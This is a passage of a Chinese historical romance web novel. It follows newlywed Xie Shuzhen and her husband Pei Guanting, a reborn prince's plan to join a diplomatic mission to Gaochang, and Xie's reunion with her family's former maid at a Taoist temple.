只是,母亲向来疼爱大哥,大哥故去后,自觉对大嫂亏欠良多,更是加倍补偿在大嫂身上。
此事若被母亲知晓,恐怕又是要扣一顶不敬长辈的帽子在你头上。
我做足了戏,想折返回去找你时,却不见你的踪影。
聿怀说你早已骑马离去,我这才匆匆赶来。
三娘,千错万错都是我的错。还望三娘一定要饶恕我这一回。以后,再也不会做这种让三娘伤心之事了。”
裴观廷眼中尽是一副委屈的神色,他轻轻拽了下谢姝真的石榴裙,小声地补充道:“我托人为你新做了几件衣裳,想必一会掌柜就能差人送来了。”
谢姝真气消了大半,看在裴观廷理由充分的份上,她决定减少些对裴观廷的惩罚。
“本来想着,要罚你半个月都宿在西厢房,念在事出有因,你态度诚恳又能改正的份上,就许你少睡五日。
在西厢房睡十日,如何?”谢姝真说道。
裴观廷根本没仔细听谢姝真说的什么,就隐约听到了一句态度诚恳。
他这才放下心来,三娘不生气就好。
谢姝真见裴观廷半天不回答,还以为是怎么了。
她也没客气,偏头过去说道:“裴观廷,你再不说话,我可就让你睡一个月西厢房了。”
裴观廷这才回神。
他连忙回道:“这就不必了,三娘不生气就好,我一定安分守己,在西厢房睡足十日。”
说罢,他挺起腰杆,站了起来。
谢姝真冷冷看过去,只一眼,便压制了裴观廷的下一步动作。
“让你起了吗?”
裴观廷讪笑道:“没,三娘什么时候不气了我什么时候再起。”
门外响起了敲门声,小乙的声音从外面飘来:“五郎君,三娘子,该用膳了。夫人已经到了,在催呢。”
谢姝真想给裴观廷一个教训,正愁没有好点子呢,她从榻上起来,对小乙说道:“这就去。”
转头她对着裴观廷笑着说道:“裴郎定然不饿,我先去用膳。”
裴观廷有苦难言,小声嘱咐道:“三娘记得把门关严,别让旁人看去。”
“那是自然。”
谢姝真将门开了个小缝,侧身出去了。
对着等候的小乙道:“走吧。”
小乙感觉自己可能是眼花了,他刚才门开的时候,分明有一瞬看到五郎君在那地上跪着。
小乙使劲的揉了揉眼睛,不知所措的看着款款而来的谢姝真,还是发问了:“三娘子,五郎君他不用膳吗?”
谢姝真笑着说道:“裴郎刚一归家便睡着了,许是今日在卧佛寺有些累了。”
小乙只好附和道:“是,三娘子。”
裴观廷听着谢姝真这么说,简直哭笑不得。
也罢,自己确实该罚。难为真真一人骑马归家,心里不好受也是难免的。
若是这样能让她好受些,他情愿跪着。
他这还在想这些,那边谢姝真早已就坐入席,开始用膳了。
裴夫人见只有谢姝真一人前来,便询问道:“三娘,淮之怎么没来?”
谢姝真拿出早就准备好的那套说辞,道:“今日归家,裴郎便说累得很。刚到瀚海堂,他便和衣而睡。儿媳见他实在是睡得正香,便不忍心叫他。”
裴夫人点点头,道:“既如此,那等他醒了便让后厨再给他做几道菜送去。
你多用些,我瞧着你今日也累了。”
说着,给谢姝真夹去一块肋排。
谢姝真回给裴夫人一个甜甜的微笑,道:“多谢君姑。”
今日那几道菜都是谢姝真爱吃的,有炙烤明虾、糖醋排骨、莲藕丸子、樱桃毕罗、杏酪奶酥……
一炷香的时间后,她酒足饭饱,心满意足。
真好,没有不爱吃的,都好香。
裴府别的不说,这做菜的手艺真是一绝。虽赶不上柳絮的手艺,但能这样也很好了。
谢姝真见众人都走得差不多了,便起身行礼,同裴夫人告别:“母亲慢用,春寒乍暖,还请母亲注意身体,增添衣物。儿媳先回去看看裴郎,好吩咐后厨做些他爱吃的。”
裴夫人看着谢姝真,满意道:“去吧去吧。”
谢姝真回了瀚海堂,见屋里漆黑一片,正欲点
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上蜡烛。
眼睛却被人一下子蒙上了。
她知道,这人肯定是裴观廷。
谢姝真索性不动,看裴观廷接下来还有什么举动。
一阵悉悉索索的声音传来,裴观廷把手放了下来,从身后拿出了几件衣服,递到谢姝真的面前。
他生怕谢姝真看不清,连点了三根蜡烛,屋里瞬间就又亮了起来。
火苗摇曳着,跳动着,似乎在诉说着什么。
裴观廷道:“三娘,这都是我托人为你做的新衣,你可喜欢?”
谢姝真低头看去,果然,是几件新衣。
她伸手摸去,顿觉料子不错,触手绵软,还都是现下长安最时兴的款式。
谢姝真将最上面的那件宝蓝色的长裙拿起比量在身上,对着铜镜照着,笑着说道:“裴郎有心了,我很喜欢。”
裴观廷凑过去,趁热打铁道:“三娘,那我能不能少睡几日西厢房?”
“不能。”谢姝真斩钉截铁道。
“三娘说得是,我甘愿受罚。”
当晚,裴观廷就宿在了西厢房,独守空房。
裴观廷是悄悄去的,因此是自己收拾的东西,不敢吩咐小乙过来帮忙。
谢姝真也不帮手,就静静地站在那看着裴观廷忙前忙后收拾铺盖。
裴观廷还有些不舍,走前还想再争取一下。
没什么用,依旧被谢姝真赶出了门。
翌日,谢姝真还没醒,裴观廷便早早上朝去了。
走时,裴观廷蹑手蹑脚走到谢姝真身旁,在她熟睡的面庞留下轻轻一吻。
谢姝真迷迷糊糊地睁眼看了下眼前人,嘟囔道:“记得拿油纸伞,落雨了。”
“知道了。”裴观廷动作轻轻,替她掖好被角。
转身出了门,拿起油纸伞,去上朝了。
马车穿行过街市,裴观廷心里有些怅然若失。
总觉得不太舒服,也不知道是为什么。
小乙在外喊道:“到了,五郎君。”
顾不上多想,裴观廷从马车上下来,撑伞进了待漏院,等宫门开启。
刚一进门,他就看到了一个熟悉的身影——韩世骁。
韩世骁与他同在隆兴四年中榜。
昔年,韩世骁是武举人,他是那年的新科状元。
又因与他有姻亲关系,是他三嫂的二哥,因此他们二人关系密切,可谓是无话不说。
韩世骁见裴观廷来了,忙将他扯到一边。
韩世骁清了清嗓子,俯身在他耳边轻声道:“你要升迁了。”
裴观廷一脸疑惑,思虑良久还是缓缓说道:“韩兄不可开我玩笑。”
韩世骁恨铁不成钢,这裴兄哪都好,就是太正了,不懂变通。
他跺脚道:“你别不信,你往那儿看。”
说罢,他悄悄伸手指向东南方向。
裴观廷顺着手指的方向往那看去,这才明白韩世骁所言之事。
那男子,头戴锦帽,身着圆领袍,一眼看去,衣领上绣满了孔雀纹样。
想来定是最近要来的高昌国使臣了。
裴观廷看向韩世骁,犹豫道:“韩兄,就算是高昌国来特使,可我这……
你也不是不知道现下是什么情况,我才娶新妇。
若是去了西域,三娘该如何办?”
韩世骁狠狠地点了一下裴观廷的脑门,“你莫不是读书读木了脑袋?
你是鸿胪寺少卿,若你向圣上奏明要携家眷出行,那又有何难?
圣上体恤臣子,定然会同意。”
裴观廷恍然大悟道:“如此甚好,倒是一桩美事。”
韩世骁严肃的脸这才有了些许的笑容,道:“高昌国这事有些棘手,但圣上既然已经让他们使臣来了,想必也不难办,你且等着一会上早朝。
陛下自有定夺。”
裴观廷颔首道:“好,多谢韩兄指点。”
8. 高昌
裴观廷和韩世骁聚在一起,眼见着要到了五更天,宫门就要开了。
裴观廷低头整理好自己的衣冠,看向韩世骁道:“韩兄,可还齐整?”
“放心吧,你从来没出差错。今日是怎么了,魂不守舍的,又不是没上过早朝。”
裴观廷摇头道:“我也不知,心里面感觉总有什么事在等着我。”
韩世骁拍了拍他的肩膀,安慰道:“能有什么事,无妨,还有我呢。
不用怕,哥在这。”
“好。”裴观廷道。
宫门已开,二人趋步前行,在宣政殿前的门口排队。
韩世骁是武官,裴观廷是文官,就此分开,各占一排。
韩世骁脚步轻快,立刻在人群分流时移到了西边,他冲着裴观廷眨眨眼。
裴观廷与他对视一眼,旋即居东边站定,挺直腰杆,目视前方。
鸣鞭礼仪过后,大臣们进入大殿。
众人齐齐跪拜,高声道:“吾皇万岁万万岁。”
“诸位爱卿免礼平身。”宣帝道。
裴观廷于大殿之上听着同僚们向圣人禀明大事小事,他打起十二分精神,竖起耳朵,生怕自己漏听一句话,因此半点不敢分神。
一炷香后,圣人提起高昌国一事:“高昌使臣特来觐见,按我定国礼仪,需派大臣护送高昌使臣返程。
鸿胪寺一向负责此事,就交于少卿裴观廷。不知裴卿意下如何?”
裴观廷急忙从官员队伍中出来,躬身行礼道:“臣裴观廷谢陛下隆恩。臣还有一事相求,还望圣人应允。”
众人齐齐侧目而视,想听裴观廷提什么要求。
圣人却哈哈大笑起来,打趣道:“朕知道你想说什么,半月前你告假娶了新妇,如今自然是想让她同你一起。
朕准了。”
裴观廷磕头谢恩,道:“圣人英明,多谢圣人体恤。”
众人这才了然,原来这河东裴氏,倒也出情种。
新婚燕尔,自是难舍难分,诸位大臣心里想着,表示可以理解。
裴观廷被众人弄得有点不好意思,嘴角一直不自觉地抿着,耳朵也红了。
下朝后,裴观廷和韩世骁出了宫门,一人骑马一人坐车,往裴府方向去。
韩世骁半月没去裴府看望自家妹妹了,想着下朝之后特意来看看。
许久未见,还有些想念呢。
他们两人一路上没闲着,一会讲着揽月楼的八卦,一会探讨这钓虾应该用什么吃食。
争辩不休,好不潇洒。
二人完全不知道,还有人在不远处一直盯着他们。
李虔于宫门后面站着,见着他们走远了,这才转身离去。
他走得极快,边走边问王刃:“父皇现下身在何处?”
“禀殿下,圣人下朝之后在大明宫内与乔相议事。”
“知道了。”
很快,李虔就到了大明宫外,在一旁候着。
守门的刘公公见了,忙招呼道:“三殿下来了,要不老奴前去通禀一声圣人,好让您先进去。
外面刮风了,仔细伤了您的身子。”
李虔挥手道:“不劳公公费心了,就在外面候着,等父皇议事结束后,再劳驾您通传。”
“是,三殿下。”
李虔在殿门外站定,心中思索良多,忧虑万千。
今日上朝时他也在,眼睁睁地见父皇亲口应允裴观廷所求之事。
断不能让父皇收回成命之礼。
君子一言,驷马难追。
该死,这变故他怎么没想到呢?上一世是裴观廷自己去的高昌国,身边没有任何女眷。
因为当时,他还没娶妻……
哎,思考到这,李虔叹了一口气。
为什么老天爷要给他一个甜枣又给了他无数个巴掌,究竟什么时候能跟愿娘多说几句话。
昨日卧佛寺,愿娘都把自己当成浪荡子了。
好在,李虔心态极好。追妻这事,他有的是手段,有的是耐心。
兵来将挡水来土掩,不怕。父皇让愿娘陪着裴观廷同去,那他也要去!
今日他站在这等着,就是为了让父皇允他一同出使高昌。
李虔也知道父皇用意,派裴观廷护送使臣回国,根本不是为了和高昌重修旧好,而是为了给高昌下达最后的通牒。
几日前,密探来信说高昌国国王鞠文泰已与西突厥结盟。
不仅如此,还与西突厥一同攻打定国的盟友——焉耆。
因此,不论公事私事,他都务必要争取到这个同去高昌国的机会。
一刻钟后,乔修明从殿内出来,行至李虔面前,道:“见过三殿下。”
李虔扶起他,回礼道:“乔公不可,折煞我也。”
乔修明摸着自己那花白的胡子,笑眯眯道:“三殿下,圣上知道您来了,等您许久了。”
“多谢乔公。”
乔修明摆了摆手,转身往宫门方向走去。
李虔三步并两步,进了大明宫。
他刚迈进大明宫,就看着父皇正在那批阅奏折。
李虔默不作声,于一旁静静站着。
半晌,宣帝才批完奏折,他将其中一本蓝色的奏折狠狠摔在梨花桌上,厉声道:“高昌竟还有如此本事,朕当真是小瞧了他们的狼子野心。
寅客,你也是为此事而来?”宣帝转头看向李虔。
“禀父皇,儿臣确实为此事而来。”
宣帝眯起眼睛,不动声色道:“你消息倒是灵通。”
李虔立刻双膝跪地,道:“回父皇,几日前您在朝堂之上便说过密探自西域传来书信,信中内容实为高昌国之事。儿臣也是那时知晓此事,因此早做了打算。”
“哦,那寅客可知,今日父皇为何烦忧?”宣帝盯着李虔的眼睛,开口问道。
“儿臣不知,但儿臣知晓高昌之事该如何解。”
“哦?那依你之见……”
李虔回道:“高昌国现与西突厥结盟,攻打我国盟友焉耆,实为不忠不义之举。派使者前来,名为觐见,实为探听虚实。
依儿臣愚见,父皇既然派鸿胪少卿裴观廷前往高昌国,自然是也想宣扬我定国国威,同周边盟国重修旧好。
若高昌国知晓我们用意,便不会再与西突厥结盟。若他们明知故犯,那父皇定然不会置之不理。
即刻发兵,荡平高昌。”
宣帝听完李虔这话后,拍桌大笑起来,道:“吾儿寅客,倒是颇有朕当年的风范。
说的不错,的确如此。那你可有何想法?
今日来这大明宫,自然也是想好了结果,那便说来听听。”
李虔缓缓开口,他知道,等待的那个机会已经来了。
“禀父皇,儿臣此前跟随季公学过高昌国的语言,虽不能写其文字,但认读其字、同人交谈绝无问题。
儿臣愿和鸿胪少卿一同前去高昌国,替父皇做这鹰眼,查明高昌国真正的用意。”
宣帝站了起来,走到李虔面前,扶起他道:“好,既如此,吾儿便随裴卿一同前往西域高昌国。
一路艰难险阻,不可言说,你当真想好了?
若现在后悔,朕给你这个机会。”
李虔神色自若,坚定道:“父皇,儿臣明白。此事绝非儿臣一时兴起,儿臣不悔。”
“如此甚好!”宣帝感慨道。
“父皇,儿臣还有一事请求您准允。”
宣帝大手一挥,肯定道:“讲。”
“儿臣想隐去姓名,以鸿胪少卿下辖的译语人身份前往高昌国,还望父皇允了我的请求。”李虔看向父皇,恳求道。
“寅客,你是怕他们知晓你的身份后,便畏手畏脚,不肯同你讲实话吗?”
“回父皇,儿臣正是此意。”
“好,朕允了你的请求。你且放心,若有人问起你去了何处,朕自会替你遮掩过去。”
“多谢父皇,那儿臣先告退了。”李虔行过一礼,准备往殿外去。
宣帝却忽然喊住了他,道:“走之前,先去看看你母亲。她许久未见你,甚是想你。”
李虔瞳孔一紧,停下了脚步,转身道:“儿臣明白,现在就去看看母后。”
李虔小步快跑,从大明宫的紫宸殿出来,往太极宫的立政殿方向行去。
虽趋步疾行,但李虔的仪态依旧端庄,蹀躞上的羊脂玉佩,随着他的步伐轻轻摇晃着。
本来他今日下朝之后就想来看看母后,因几日前政务繁忙,这才耽搁了。
想到这,他转头询问王刃:“王总管,母后近来可好?”
“禀殿下,皇后娘娘几日前召太医来看过,太医诊断凤体安康。
因此,近日娘娘正筹备在宫中举办诗会。”
李虔听后不再说话,悄悄将步子迈得更大。
他急得很,母后就在眼前了。
王刃在后面追得,怎一个辛苦二字了得。
王刃在心里默默腹诽道:苍天啊大地啊,三殿下这一激动就走得更快的毛病,到底谁能治好?
自己这老胳膊老腿的,真是不能再这么折腾下去了。
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没办法,走得再快也得跟上,这可是三殿下!
王刃紧赶慢赶,终于到了李虔身后半步的位置。
他提醒道:“三殿下,过了前面的竹园,便到了。”
李虔道:“好。”
二人顺着竹园穿行,走在鹅卵石铺成的小道上,终于到了太极宫的立政殿。
婢女兰若通传过后,李虔进了立政殿,就看到眼前这一幕。
母后正坐在榻上吃着杏仁奶酥,见他来了,也不惊讶,转头吩咐婢女蕊心:“给三殿下拿一碗来,要多加杏仁。”
“是,皇后娘娘。”
她这才看向李虔,那双眸子充满着幽怨:“若不是你父皇说,你还不肯来。”
李虔辩解道:“母后,儿臣前几日去海州处理事情,方才又去大明宫的紫宸殿同父皇议事。
就算父皇不说,儿臣也是想今日来看您的。”
郑皇后听完这话,嘴角才稍微有了些弧度,她摸着李虔的脸,怜爱道:“又瘦了,一会留下来用膳,我让他们多做点你爱吃的。”
李虔笑着说道:“好,就听母后的。”
郑皇后关切道:“平常还是要有人在你身边侍奉照料,否则依你这个性子,定然不肯好好吃饭。”
“母后教训的是,儿臣知错了。”
李虔望着母后那熟悉的脸庞,心里不禁感慨:母后这时也不过三十几岁,正是大好年华。和以后缠绵病榻的那副模样,简直是判若两人。
这一世,一定要让母后好好保证凤体,好让母后千秋万岁。
李虔道:“母后,太医给您诊治虽说是凤体安康,但您还是要注意身体,不可总吃些寒凉的。
那螃蟹,定然要少食。”
郑皇后微微一笑,心里暖暖的,她道:“皇儿有心了。”
蕊心递上一碗杏仁奶酥,李虔接过,拿起调羹开始品尝起来。
郑皇后一直看着他,见他吃了第一口,便问道:“合口味吗?”
李虔点点头,“合,母后这里的吃食就是好吃,儿臣最喜欢了。”
“那就多吃些,以后多来这立政殿看看,母后很是想你。”
李虔应下:“儿臣明白。”
他将碗中的杏仁奶酥沿碗边一勺一勺的舀起,送到嘴边,品尝着。
不一会,一碗杏仁奶酥便吃完了。
郑皇后柔声道:“小厨房那边也准备的差不多了,去前厅用膳吧。”
“好。”
席间郑皇后一直给他夹菜,生怕他又少吃了点什么。
李虔吃的不多,很少自己夹菜。
郑皇后见他没什么胃口,便问道:“可是菜不合你心意?”
李虔摇头道:“回母后,并非不合心意,是儿臣有心事。”
郑皇后心中惊奇万分:寅客他,从来都是规矩行事,并不会轻易言说自己心中之事。
今日,倒是有些不同。
她面上不显,淡定道:“能让你烦忧之事,想必定然棘手,那便说来听听。”
李虔说道:“母后,儿臣喜欢一女子。可……”
半天郑皇后都没听到下半句。
她催促道:“可是什么?”
“她不太喜欢儿臣。”
郑皇后心下了然,孩子大了,情场有点受伤。
怪不得在席面上看见那清蒸鳜鱼都不吃了,往常可是最爱吃的。
她劝导李虔:“寅客,对待人家女郎,要有耐心。
人家若是不喜欢你,也不能强求。
但也可稍作争取下,把握好这个度,不可逾矩。
就是不知,是哪家的女郎?好让母后相看相看。”
李虔听完后,摇头道:“母后,恕儿臣不能说。但儿臣是真心喜欢她,自然会尽全力争取。
只不过,现下有些不太好办。”
郑皇后却笑着说道:“你还小,自然是不太懂怎么同女郎相处。不管是哪家的女郎,你都要好好对人家。母后觉得,你应该对人家更上心些。她喜欢什么,你便做什么。”
李虔头疼道:“话虽如此,可……”
这哪是年纪小不懂怎么相处的问题,这分明是愿娘是他人妻的问题。
他知道愿娘喜欢什么,问题是他给,她能接受吗?
李虔面上一片愁容。
好在,过几日就要去高昌了。
一路上,他就不信找不到机会同愿娘说话。
郑皇后见他还在沉思,便拍拍他的肩膀,安慰道:“慢慢来,此事不能急。”
“好,多谢母后,儿臣知晓了。”
9. 玉瓶
谢姝真睡得迷迷糊糊,不太安稳。隐隐约约听见院里鸟雀一直在那叽叽喳喳,便从榻上起来了。
她推开雕花窗,看了一眼窗外,雨已经停了,但天还阴沉着。
谢姝真也没犹豫,立刻起身下榻,一番梳洗过后,换上宝蓝色的胡服,戴上帷帽,悄悄从瀚海堂溜了出去,去了马厩那。
走之前,谢姝真还特意将榻上的帘子放了下来,掩饰成一副自己还在睡觉的模样。
今日,她要去做一件大事。半月里,她一直没放弃打探阿耶、阿娘和阿姊们的下落。功夫不负有心人,在等待半月之后,终于有了一点消息。
昨日骑马下山的路上,一个梳着双环的小女孩拦住了她的去路,悄悄递给她一个白玉瓶。
那白玉瓶,她认得,是阿耶常年不换的装饰。
因是阿娘为阿耶亲手烧制的缘故,所以阿耶将其挂在身上,从不离身。
南下之前,还在谢府之时,阿耶还总从玉瓶中拿出蜜饯给她吃。
阿姊们倒是不爱吃,唯有她嗜甜。
阿耶也是惯着她,明明阿娘不许她再吃蜜饯了。
但阿耶还是趁着阿娘不注意,总偷偷递给她蜜饯。
直到有一次,被阿娘抓个正着。他们父女二人,全被阿娘罚去跪祠堂了。
二姊还过来给她带了一个棉花垫子,让她跪的舒服些。
这些情景,历历在目,恍如昨日。
刚一拿到玉瓶时,谢姝真还特意打开了瓶子。见里面还有小半瓶蜜饯,她将瓶口朝下,倒出一颗蜜饯放在掌心。
白玉瓶里面装的蜜饯其实是杏子干。
谢姝真将蜜饯轻轻拿起,放在口中。还是甜的,但她早已不是当时的心境,竟从里面尝出一丝丝涩。
与白玉瓶一同递给她的,还有一幅画。
谢姝真打开画,见那画中女子,是个背影。
这人,上半身着赤色半袖衫,下身着浅绿纱裙,胳膊上挽着一条鹅黄色的披帛。这人双手合十,正在白云观中参拜观音。
谢姝真拿到这画的时候,说是目瞪口呆也不为过。
那女子搭配的实在是好看,撞色竟然也能这么好看,颇有几分灵气在其中。
谢姝真在心里感慨不已,决定下次自己也要试试。
更好笑的是,小女孩给的是画,不是字条,背后之人仿佛是知道谢姝真不识字似的。
可惜一看就是外行,消息太不灵通了。谢姝真经过裴夫人的日日教导,如今早已进步神速,认识许多字了。
只不过,写字水平还是那样,距离裴夫人要求的簪花小楷还相去甚远。
裴夫人极为不满,要求她日日勤加练习,多多临摹。她才不听呢,每日要做的事那么多,哪有空闲时间练字。
只答应不做,谢姝真从来都是最擅长的。从前在家中就是,现下在裴府也是。
昨夜裴观廷道过歉后,还良心发现了。知道她每日学得辛苦,因此特意为她向裴夫人告了假,这才让她有机会偷跑出去。
谢姝真将手中的画握紧在手中,观着那画中女子的影子,推测出那人应该是提示她巳时在白云观中碰面。
她不敢耽搁,将帷帽遮的严严实实,牵马出了后门,从裴府后院溜走了。
过了街口,她便翻身上马,骑马奔行,往白云观方向去了。
白云观,在长安下辖的凇县,快马加鞭过去至少也要一个多时辰。
谢姝真纵马驰骋,好不潇洒。
她本性生来就爱自由,断不愿困在宅中。
唯愿展翅高飞,绝不做那笼中金雀。
一路上,谢姝真一点没歇,紧赶慢赶,终是在巳时前到了。
她踩着马鞍下马,将马牵到马厩,拍了拍马背,转身道:“辛苦了。”
小沙弥给谢姝真拿来草料,示意她给马儿喂上。又从大缸中舀了一盆水,将水放到马儿跟前。
谢姝真连连道谢,对着小沙弥作揖。
那小沙弥摆摆手道:“施主,还请将马儿交于我,您自可入观中,参拜观音大士。”
“好,那就多谢你了。”
谢姝真不再停留,匆匆跨过门槛,往画中指引的方向前去。
好像是,观音殿。
观音殿内香火鼎盛,香客众多。谢姝真在人群中寻找那一抹红绿相间的身影,却一无所获。
她只好进了正殿,在那静静等候。
谢姝真等了一息,见还没有人来。索性自己也来许愿,她跪拜在观音面前,虔诚道:“弟子谢姝真,但求观士音菩萨保佑,愿弟子同家人早日团聚,平安顺遂,福寿绵长。”
许愿过后,她对着眉目慈悲的观音,庄重地磕过三个头。
接着,谢姝真发誓道:“弟子愿用一切代价换得家人平安,如若菩萨怜悯,弟子达成心愿,将来定要为您重塑金身,以报菩萨大恩。”
她将桐油浸泡在三炷香的前端,点上烛火。而后,面前便缓缓升起几缕轻烟。
谢姝真双手持香,将三炷香按顺序放好在香炉之中。
但就在她放第二根香之时,却突然被香灰烫到了手背,谢姝真赶忙拂去手背上的香灰,将剩下的香一一插好。
那双琥珀色的眸子望向观音大士,口中喃喃自语道:您这是要告诉弟子事与愿违,还是……
她不敢再继续想下去了。
无论哪一种结果,她都承受不起。
许是菩萨显灵,谢姝真在等人来时,端坐在香案前的蒲团上,无所事事地向院内瞧去,见到了一个熟悉的身影。
那人,不是画中女子,却也是她朝思暮想的人。
是谢府的婢女,自小陪在她身边,同她一起长的人——辛夷。
谢姝真掀起帷帽,在栅栏边喊道:“辛夷!”
主仆二人隔着栅栏遥遥相望,辛夷一开始还不敢相信,但当谢姝真从殿内奔出之时,辛夷就知道,是她的三娘子。
那个天不怕地不怕,爱笑爱闹的三娘子。
谢姝真好不容易爬上栅栏,跳了下去,到了辛夷面前。
她这才能好好看看辛夷,见辛夷穿着一身麻衣,谢姝真不禁哭花了脂粉。
辛夷温柔地为她拭去泪珠,道:“三娘子,奴从没想到还能活着见到您。三娘子您还活着,真好。”
谢姝真哭得断断续续,泣不成声,道:“辛夷……你怎么……在这?阿耶阿娘……阿姊……她们……还好吗?”
辛夷将她拉倒一旁,道:“三娘子,此事说来话长。
那日南下途中,遇到了刺客。事发突然,没有半
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分准备。
二爷他被刺客一箭穿心,当场身陨。余下的人,都被这些刺客抓走了。三娘子你因当时气息极弱,便被那刺客们生生抛下悬崖。
夫人见您被抛下,直接晕了过去,差点也去了。好在大娘子为夫人施针,这才救回来一条命。
奴听那些刺客说什么,这是韦大人的主意,好像是要和什么人做交易。奴没听清,便匆匆逃跑了。
后来,我们便一行人又被刺客抓回,圈养在北地幽州。那刺客们每日一得到信,便卖一个人。奴被人牙子买走,辗转十余处,最后卖到了长安来。幸得侠女搭救,转而在这白云观做些洒扫的活计。”
“你刚才说什么,是韦大人的主意?可是韦机?”谢姝真狠狠擦去眼角的泪痕,厉声道。
“回三娘子,正是如此,韦机,韦大人。”辛夷缓缓说道。
谢姝真这才明白,给她画这人,原来一直在盯着她。哪有画中拜观音的女子,分明是引她来白云观,让她来见辛夷。
这韦机,分明是阿耶的同僚,当年举荐阿耶修造卢舍那大佛之人。
她还有印象,是个圆面和蔼的老头,总爱穿一身灰衣。
此事和他有关吗?谢姝真苦笑一声,果然是知人知面不知心。
可是,给她线索这人为什么要这么做?这人又在这其中,起了什么作用?
让她得到线索,所求之事又是什么?
桩桩件件,让她不得不多想。谢氏全族流放岭南一事,恐怕另有隐情。
阿耶从不在家中讲朝堂之事,也甚少提及自己与同僚之间的公事。
因此谢姝真对这些事,知之甚少。如今,也只能一点一点的查线索了。
辛夷见她默不作声,便将谢姝真轻轻拦入怀中,将她刚才掀起的帷帽放下,轻声道:“三娘子,不怕,奴陪着你。”
就让三娘子好好哭一场吧,哭过之后,一切都能好受些了。
谢姝真在辛夷的安慰之下,小声呜咽起来。
片刻后,她不再哭了。谢姝真将帷帽摘下,握住辛夷的双手,道:“同我回家,辛夷。”
辛夷这才注意到她的发髻,已经是妇人样式。
辛夷毫不掩饰眼里地错愕,道:“三娘子你……已嫁为人妇?”
谢姝真颔首:“是,半月前,我被海匪所救,机缘巧合之下,嫁人了。
这人,你定然知道,是城西的河东裴氏。”
辛夷心里说不出的难受,三娘子怎么嫁人了?
那个调皮的三娘子,转眼就变成了裴家新妇。深宅大院,她孤身一身,会不会受苦?
好在,辛夷看她面色红润,没有憔悴的迹象,便稍稍松了一口气。
那裴家公子,肯对她好就成。
她叹惜道:活着就好,三娘子能平安活着就好。
至于嫁给谁,不重要。只要能对三娘子好,那就是她辛夷的姑爷,她自然是尽全力侍奉。
辛夷摸了摸谢姝真的发髻,看到她耳边还有一缕发丝未盘好。
辛夷将那缕头发别在谢姝真的发髻上,道:“三娘子,以后奴为你盘发。”
谢姝真露出一个久违的笑容,道:“你肯同我回去就好。”
二人对视一眼,仿佛又回到了当年还在谢府的时光。
10. 归家
谢姝真摸着辛夷身上的麻衣,眼中满是疼惜:“辛夷,我今日出门身上没有拿太多银两,但给你买上几件合身的衣服还是足够的。一会到了铺子里,你去选几身喜欢的。”
辛夷感激道:“奴多谢三娘子体恤,其实奴穿这身不难受,不必劳烦三娘子再多费心费力了。”
谢姝真摇摇头,道:“辛夷,不可如此。你这么多年一直侍奉在我身边,如亲姐妹一般陪着我,照顾我。如今,怎么能连几件合身的衣服都没有呢?
况且,你已经答应我,要同我一起回裴府。你是我身边的近人,无论如何,都要穿的好些,莫叫人家笑话。
你说对不对,辛夷?”
谢姝真偏过头去,笑着看她。
辛夷这才同意,颔首福身行礼道:“奴,谢过三娘子。”
“还同往常一样,不用拘束,辛夷。对了,你说是有位侠女救了你,那你可知她现在何处?我想亲自去谢谢她。”谢姝真猛地抬头,看向辛夷道。
“回三娘子,那位侠女说自己常云游四方,是个剑符双修之人。临别之前,她嘱咐观中的若缮道姑好好照顾我。还说,若我想走,便给我盘缠,让我安安心心的离开白云观。”
“哦?她当真如此说的?”
谢姝真心下惊讶:这侠女,着实是考虑得当,心思细腻。如此心怀,当真是让人敬佩。。
“是,三娘子。奴一开始也很惊讶。但这段日子,在这白云观中,确实没人难为我。道姑们都待我很好,这麻衣,还是她们从柜中拿的新衣。”辛夷娓娓道来,讲着她在观中的日子。
“好,既如此,那我们同去与若缮道姑拜别。我也好捐些钱帛,以感谢她们对你的照拂。”谢姝真扯过辛夷的手,放在自己的掌心,急切道。
“好,奴这就随三娘子去。”
辛夷在前面带路,谢姝真跟在后面。二人绕过蜿蜿蜒蜒的小路,穿过后山大片的紫竹林,终于快要到了若缮道姑的住所。
谢姝真一路上走得气喘吁吁,中途几次摆手道:“不行,太累了,我得歇歇。”
辛夷眉毛紧蹙,满是担忧,道:“三娘子,之前奴陪您上山礼佛,和您下海抓鱼,每次三娘子都甩奴一大截。怎么如今,成了这幅模样?您到底是怎么了,三娘子?”
谢姝真坐在一块巨石上:“哎呀,没事,辛夷。我嫁人后,很久没出门走路了,都是坐马车,这才一时有些没缓过来。你别担心我,我没事。”
她自己其实比谁都清楚,这半个月,不管是心力还是身体,她早就不似以前了。
伤口反复发炎,现下虽已大好,但每逢阴雨天就会难受。
更别提,和从前相比了。
昔日,她无忧无虑,是每天调皮捣蛋,上山下海,无所不能的谢家三娘。
如今,她还是三娘,不过却又有了新的身份——裴家新妇。
到底是不能和未出阁的岁月比。
但为了不让辛夷担心,她愣是一个字没提。
和她大伯——谢家二爷比起来,她还是是幸运的。好歹还留了一条命,能让她有机会找寻家人的下落。
辛夷见她半天没出声,便也知道谢姝真心中所想。
辛夷深深地叹了一口气,上前一步,看着着谢姝真眸子道:“三娘子,虽不知老爷、夫人、大娘子和二娘子的下落,但他们吉人自有天相,一定会平安无事。你要好好保重身子,好早日找到他们。”
谢姝真抬起头,眼神坚定,道:“辛夷,你说得对,我一定要好好的把这日子过下去。不管前路多难,我都一定要找到他们,早日与他们团聚。我想,这才是谢氏女该做的。”
辛夷面色一喜,感慨道:“三娘子,您变了。短短半月,您真令奴刮目相看。”
“辛夷,你定然不知我今日为何来这白云观。不是为了求观音菩萨,而是……”
谢姝真有些说不出口。
该怎么说呢,说有人给自己线索,让自己来这白云观找人,没想到碰到了她?
还是说,这人是故意让自己与辛夷相认,根本不是来给别的线索。
否则,为何迟迟不见画中女子现身。
她说不出。
辛夷看出了谢姝真的纠结,她开口道:“三娘子,无妨。不便说的事,就不必说,徒增烦恼罢了。”
谢姝真道:“但愿如此,辛夷。我心乱如麻,不知如何是好。”
“不怕,奴和三娘子一起。”
二人说了许久,一坐一站,谢姝真终于也缓过劲来了。
她一手撑着巨石,另一只手搭着辛夷,站了起来。
一炷香后,她们站在了若缮道姑的小院前。
辛夷先在外面扣门三下,问道:“若缮大师可在?”
一个戴着小花帽,虎头虎脑的小女孩打开了院门,从门板后面探出头来,见着辛夷,高兴道:“辛夷姑姑,你来啦!”
辛夷把她抱了起来,转了一圈,道:“不止是我,还有新姑姑。”
说罢,辛夷指了指谢姝真,对着那小女孩道:“叫真真姑姑。”
女孩乖巧行过一礼,道:“阿湖,见过真真姑姑。”
谢姝真忙扶起她:“不必多礼。”
阿湖笑着露出两颗大门牙,其中一颗已经摇摇欲坠,但她毫不在意,反而更加兴奋:“若缮姑姑就在里面,请随我来。”
